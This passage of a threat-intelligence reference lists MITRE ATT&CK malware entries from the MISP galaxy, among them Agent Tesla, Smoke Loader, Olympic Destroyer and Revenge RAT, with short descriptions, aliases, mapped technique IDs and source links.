The tag is: misp-galaxy:mitre-malware="Agent Tesla - S0331"
Agent Tesla - S0331 is also known as:
-
Agent Tesla
Agent Tesla - S0331 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
Power Loader - S0177
[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
The tag is: misp-galaxy:mitre-malware="Power Loader - S0177"
Power Loader - S0177 is also known as:
-
Power Loader
-
Win32/Agent.UAW
Power Loader - S0177 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"
Brave Prince - S0252
[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)
The tag is: misp-galaxy:mitre-malware="Brave Prince - S0252"
Brave Prince - S0252 is also known as:
-
Brave Prince
Brave Prince - S0252 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
Links |
Smoke Loader - S0226
[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware. [Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)
The tag is: misp-galaxy:mitre-malware="Smoke Loader - S0226"
Smoke Loader - S0226 is also known as:
-
Smoke Loader
-
Dofoil
Smoke Loader - S0226 has relationships with:
-
similar: misp-galaxy:tool="Smoke Loader" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Links |
Linux Rabbit - S0362
[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)
The tag is: misp-galaxy:mitre-malware="Linux Rabbit - S0362"
Linux Rabbit - S0362 is also known as:
-
Linux Rabbit
Linux Rabbit - S0362 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat |
Stealth Mango - S0328
[Stealth Mango](https://attack.mitre.org/software/S0328) is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as [Tangelo](https://attack.mitre.org/software/S0329) is believed to be from the same developer. (Citation: Lookout-StealthMango)
The tag is: misp-galaxy:mitre-malware="Stealth Mango - S0328"
Stealth Mango - S0328 is also known as:
-
Stealth Mango
Stealth Mango - S0328 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
Links |
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf |
Gold Dragon - S0249
[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)
The tag is: misp-galaxy:mitre-malware="Gold Dragon - S0249"
Gold Dragon - S0249 is also known as:
-
Gold Dragon
Gold Dragon - S0249 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
Cobian RAT - S0338
[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)
The tag is: misp-galaxy:mitre-malware="Cobian RAT - S0338"
Cobian RAT - S0338 is also known as:
-
Cobian RAT
Cobian RAT - S0338 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat |
Cardinal RAT - S0348
[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)
The tag is: misp-galaxy:mitre-malware="Cardinal RAT - S0348"
Cardinal RAT - S0348 is also known as:
-
Cardinal RAT
Cardinal RAT - S0348 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/ |
Olympic Destroyer - S0365
[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)
The tag is: misp-galaxy:mitre-malware="Olympic Destroyer - S0365"
Olympic Destroyer - S0365 is also known as:
-
Olympic Destroyer
Olympic Destroyer - S0365 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html |
Revenge RAT - S0379
[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)
The tag is: misp-galaxy:mitre-malware="Revenge RAT - S0379"
Revenge RAT - S0379 is also known as:
-
Revenge RAT
Revenge RAT - S0379 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/ |
Trojan-SMS.AndroidOS.FakeInst.a - S0306
[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)
The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.FakeInst.a - S0306"
Trojan-SMS.AndroidOS.FakeInst.a - S0306 is also known as:
-
Trojan-SMS.AndroidOS.FakeInst.a
Trojan-SMS.AndroidOS.FakeInst.a - S0306 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
Links |
Trojan-SMS.AndroidOS.Agent.ao - S0307
[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware. (Citation: Kaspersky-MobileMalware)
The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.Agent.ao - S0307"
Trojan-SMS.AndroidOS.Agent.ao - S0307 is also known as:
-
Trojan-SMS.AndroidOS.Agent.ao
Trojan-SMS.AndroidOS.Agent.ao - S0307 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
Links |
Trojan-SMS.AndroidOS.OpFake.a - S0308
[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)
The tag is: misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.OpFake.a - S0308"
Trojan-SMS.AndroidOS.OpFake.a - S0308 is also known as:
-
Trojan-SMS.AndroidOS.OpFake.a
Trojan-SMS.AndroidOS.OpFake.a - S0308 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
Links |
Mis-Type - S0084
[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)
The tag is: misp-galaxy:mitre-malware="Mis-Type - S0084"
Mis-Type - S0084 is also known as:
-
Mis-Type
Mis-Type - S0084 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf |
S-Type - S0085
[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)
The tag is: misp-galaxy:mitre-malware="S-Type - S0085"
S-Type - S0085 is also known as:
-
S-Type
S-Type - S0085 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf |
Hi-Zor - S0087
[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)
The tag is: misp-galaxy:mitre-malware="Hi-Zor - S0087"
Hi-Zor - S0087 is also known as:
-
Hi-Zor
Hi-Zor - S0087 has relationships with:
-
similar: misp-galaxy:rat="Hi-Zor" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html |
Miner-C - S0133
[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)
The tag is: misp-galaxy:mitre-malware="Miner-C - S0133"
Miner-C - S0133 is also known as:
-
Miner-C
-
Mal/Miner-C
-
PhotoMiner
Miner-C - S0133 has relationships with:
-
